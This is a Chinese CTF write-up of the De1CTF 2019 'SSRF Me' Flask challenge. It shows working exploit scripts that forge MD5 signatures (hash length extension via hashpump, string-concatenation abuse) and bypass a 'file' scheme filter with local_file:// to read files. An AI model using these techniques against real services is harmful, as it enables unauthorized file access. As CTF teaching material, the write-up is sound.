原帖地址 : https://xz.aliyun.com/t/5927

De1CTF 2019 的一个题目总结

题目描述

  • 直接查看页面源代码可以看到正确格式的代码

    #! /usr/bin/env python
    #encoding=utf-8
    from flask import Flask
    from flask import request
    import socket
    import hashlib
    import urllib
    import sys
    import os
    import json reload(sys)
    sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task:
    def __init__(self, action, param, sign, ip):
    self.action = action
    self.param = param
    self.sign = sign
    self.sandbox = md5(ip)
    if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
    os.mkdir(self.sandbox) def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
    if "scan" in self.action:
    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
    resp = scan(self.param)
    if (resp == "Connection Timeout"):
    result['data'] = resp
    else:
    print(resp)
    tmpfile.write(resp)
    tmpfile.close()
    result['code'] = 200
    if "read" in self.action:
    f = open("./%s/result.txt" % self.sandbox, 'r')
    result['code'] = 200
    result['data'] = f.read()
    if result['code'] == 500:
    result['data'] = "Action Error"
    else:
    result['code'] = 500
    result['msg'] = "Sign Error"
    return result def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
    return True
    else:
    return False #generate Sign For Action Scan.
    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
    def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
    return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
    @app.route('/')
    def index():
    return open("code.txt","r").read() def scan(param):
    socket.setdefaulttimeout(1)
    try:
    return urllib.urlopen(param).read()[:50]
    except:
    return "Connection Timeout" def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest() def md5(content):
    return hashlib.md5(content).hexdigest() def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
    return True
    else:
    return False if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)
  • 提示给的是 flag 在 ./flag.txt 中,题目单词打错了

  • python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战

  • 大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txtaction 中要含有 readscan,且 sign=md5(secert_key + param + action)

哈希拓展攻击

  • 这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html

  • secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

  • 使用 hashpump 即可

    root@peri0d:~/HashPump# hashpump
    Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
    Input Data: scan
    Input Key Length: 24
    Input Data to Add: read
    d7163f39ab78a698b3514fd465e4018a
    scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
  • exp :

    import requests
    
    url = 'http://139.180.128.86/De1ta?param=flag.txt'
    
    cookies = {
    'sign': 'd7163f39ab78a698b3514fd465e4018a',
    'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
    } res = requests.get(url=url, cookies=cookies)
    print(res.text)

字符串拼接

  • 试着访问了一下 /geneSign?param=flag.txt ,给出了一个 md5 8370bdba94bd5aaf7427b84b3f52d7cb ,但是只有 scan 的功能,想加入 read 功能就要另想办法了

    def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  • 看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了

    def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
  • 不妨假设 secert_keyxxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。

  • 直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。

  • 直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e 即可

local_file

  • 天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16

  • 放上他们的 exp :

    import requests
    conn = requests.Session() url = "http://139.180.128.86"
    def geneSign(param):
    data = {
    "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp def challenge(action,param,sign):
    cookie={
    "action":action,
    "sign":sign
    }
    params={
    "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
    filename = "local_file:///app/flag.txt"
    a = []
    for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
    a.append(i)
    print resp,i
    print a
  • 请求 /geneSign?param=local_file:///app/flag.txtread 获取 md5 值为 60ff07b83381a35d13caaf2daf583c94 ,即 md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')

  • 然后再请求 /De1ta?param=local_file:///app/flag.txt 构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94

  • 以上就是他们 exp 做的事情,和上一个方法差不多

  • 关于 local_file :

    • https://bugs.python.org/issue35907

    • 这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替

    • 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误

  • https://bugs.python.org/issue35907

[De1CTF 2019]SSRF Me的更多相关文章

  1. 刷题记录:[De1CTF 2019]SSRF Me

    目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...

  2. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  3. BUUCTF | [De1CTF 2019]SSRF Me

    解法一字符串拼接: 1.得到签名sign http://8fa4531c-1164-49b7-a700-70e77e6aacb7.node3.buuoj.cn/geneSign?param=flag. ...

  4. [De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948

    0x00 打开题目查看源代码,开始审计 这里贴上网上师傅的博客笔记: https://xz.aliyun.com/t/6050 #! /usr/bin/env python #encoding=utf ...

  5. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  6. [De1CTF 2019]Giftbox 分析&&TPOP学习

    [De1CTF 2019]Giftbox 刚进来我以为是直接给了shell,恐怖如斯. 随便扔了个命令,之后就没然后了,hhh,截包发现可能存在sql注入. 然后我就不会了... what i lea ...

  7. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  8. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  9. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

随机推荐

  1. spring boot项目打war包

    1.如果有本地依赖,添加本地依赖到maven <!--lib目录下的jar包--> <dependency> <groupId>com.dm</groupId ...

  2. msys2 mingw64安装

    (1)安装msys2 (2)更新\etc\pacman.d\下的源文件 mirrorlist.msys Server = http://repo.msys2.org/msys/$arch/ Serve ...

  3. 微服务交付至kubernetes流程

    目录 1.微服务简介 2.K8s部署微服务考虑的问题 3.项目迁移到k8s流程 1.微服务简介 微服务优点 服务组件化 每个服务独立开发.部署,有效避免一个服务的修改引起整个系统重新部署 技术栈灵活 ...

  4. Tensorboard 详解(上篇)

    花间提壶华小厨 1. Tensorboard简介 对大部分人而言,深度神经网络就像一个黑盒子,其内部的组织.结构.以及其训练过程很难理清楚,这给深度神经网络原理的理解和工程化带来了很大的挑战.为了解决 ...

  5. Oracle 10g客户端的安装和配置

    1.双击Oracle11g_database安装目录下的Setup.exe. 2.选择“基本安装”,设置“安装位置”,填写“数据库名”和“口令”,点击“下一步”. 3.点击“下一步”. 4.一般会出现 ...

  6. MATLAB 排序、拟合

    一.数据排序整合 1.随机生成的数,从小到大排序 clear rand('seed',1)%设置随机种子,确保随机数一样 edge_range=unifrnd (1, 10, 1, 10) edge_ ...

  7. ShardingJDBC的基本配置和使用

    一.ShardingSphere介绍 ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈,它由Sharding-JDBC.Sharding-Proxy和Sharding-S ...

  8. Python第三方包之PrettyTable

    Python第三方包之PrettyTable 可以让我们将数据用表格的方式展示出来 安装方式 pip install PrettyTable 测试是否安装成功 使用方法与对比 增加一条数据 先简单的看 ...

  9. 【WPF学习】第六十四章 构建基本的用户控件

    创建一个简单用户控件是开始自定义控件的好方法.本章主要介绍创建一个基本的颜色拾取器.接下来分析如何将这个控件分解成功能更强大的基于模板的控件. 创建基本的颜色拾取器很容易.然而,创建自定义颜色拾取器仍 ...

  10. D - Super Jumping! Jumping! Jumping!

    Nowadays, a kind of chess game called "Super Jumping! Jumping! Jumping!" is very popular i ...